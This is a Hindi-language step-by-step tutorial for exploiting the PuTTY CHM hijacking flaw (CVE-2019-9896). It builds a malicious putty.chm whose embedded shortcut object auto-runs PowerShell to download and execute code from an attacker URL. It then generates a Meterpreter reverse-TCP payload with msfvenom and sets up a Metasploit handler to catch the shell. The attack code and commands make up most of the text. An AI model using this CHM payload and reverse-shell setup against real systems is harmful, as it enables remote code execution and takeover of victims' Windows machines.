
संभावित दुर्भावनापूर्ण कोड निष्पादन CHM अपहरण के माध्यम से (CVE-2019-9896)
CHM अपहरण के माध्यम से संभावित दुर्भावनापूर्ण कोड निष्पादन
संस्करण 0.70 तक, जब आप किसी भी Windows PuTTY GUI उपकरण में ऑनलाइन सहायता लॉन्च करते थे, तो उपकरण अपनी स्वयं की निष्पादन योग्य फ़ाइल के साथ-साथ देखकर अपनी सहायता फ़ाइल का पता लगाता था।
यदि आप PuTTY को ऐसी निर्देशिका से चला रहे थे जहाँ असंबंधित कोड फ़ाइलें डाल सकता है (उदाहरण के लिए, इसे सीधे ब्राउज़र की डिफ़ॉल्ट डाउनलोड निर्देशिका से चलाना), तो इसका मतलब है कि यदि किसी ने उस निर्देशिका में putty.chm नामक फ़ाइल डालने का प्रबंध कर लिया (उदाहरण के लिए, आपको उस नाम से डाउनलोड लिंक पर क्लिक करने के लिए लुभाकर), तो PuTTY उसे वास्तविक सहायता फ़ाइल समझ लेता और इसे htmlhelp.exe को खिला देता।
यह एक भेद्यता है क्योंकि HTML Help फ़ाइलें (.chm) बदले में अपनी पसंद का कोड चला सकती हैं, उदाहरण के लिए एक HTML तत्व एम्बेड करके जो Windows शॉर्टकट है, साथ ही उस पर क्लिक करने के लिए Javascript।
अधिक विवरण: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM संकलित HTML फ़ाइल प्रारूप का एक एक्सटेंशन है, जिसका उपयोग अक्सर Microsoft के HTML-आधारित सहायता प्रोग्राम द्वारा किया जाता है। इसमें कई संपीड़ित HTML दस्तावेज़ और उनसे जुड़ी छवियाँ और JavaScript हो सकते हैं। CHM सुविधाओं में विषय-सूची, अनुक्रमणिका और पूर्ण पाठ खोज शामिल हैं।
अतीत में, खतरे के अभिकर्ताओं ने बैकडोर फ़ाइल गिराने के लिए CHM फ़ाइलों का उपयोग किया, जिसका उपयोग आमतौर पर लक्षित हमलों में किया जाता है।
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
हमें CHM फ़ाइल बनाने के लिए HTML Help Workshop टूलकिट की आवश्यकता है। इंस्टॉलेशन के बाद, HTML Help Workshop टूल लॉन्च करें।
File > New > Project पर क्लिक करें और ऊपर दिए गए चरणों का पालन करें:
Creating HTML Help Project
नया प्रोजेक्ट स्क्रीन > Next > Browse
अपनी प्रोजेक्ट फ़ाइल का नाम और वह स्थान निर्दिष्ट करें जहाँ आप इसे बनाना चाहते हैं।
फ़ाइल नाम भरें: putty और "Open" पर क्लिक करें
Specify your HTML Help Project
HTML फ़ाइलें (.htm) चुनें
बताएं कि आपकी .htm फ़ाइलें कहाँ स्थित हैं।
Add.. बटन और एक पहले से बनाई गई निर्देशिका चुनें जो आपकी दुर्भावनापूर्ण फ़ाइल जैसे putty.htm को रखने के लिए शोषण के लिए हो।
Select a HTM file
विज़ार्ड एक नया HTML Help प्रोजेक्ट बनाता है। हमें बदलाव करने की आवश्यकता है।
टूल में, बनाई गई htm फ़ाइल पर डबल-क्लिक करके इसे संपादित करें, फिर एक बुनियादी Help फ़ाइल बनाने के लिए नीचे दिया गया कोड डालें:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Create malicious file
मैं Windows के लिए एक सरल TCP Meterpreter Payload कैसे बनाऊं?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
जब आप Help बटन पर डबल-क्लिक करते हैं, तो putty.exe malware.exe की चाइल्ड प्रक्रिया के रूप में उत्पन्न होता है, जो CHM बाइनरी फ़ाइल का इंटरप्रेटर है। (आपकी दुर्भावनापूर्ण putty.chm और putty.exe फ़ाइल एक ही निर्देशिका में होनी चाहिए)
Spawns a malware
मैं meterpreter शेल कैसे प्राप्त करूं?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Resources: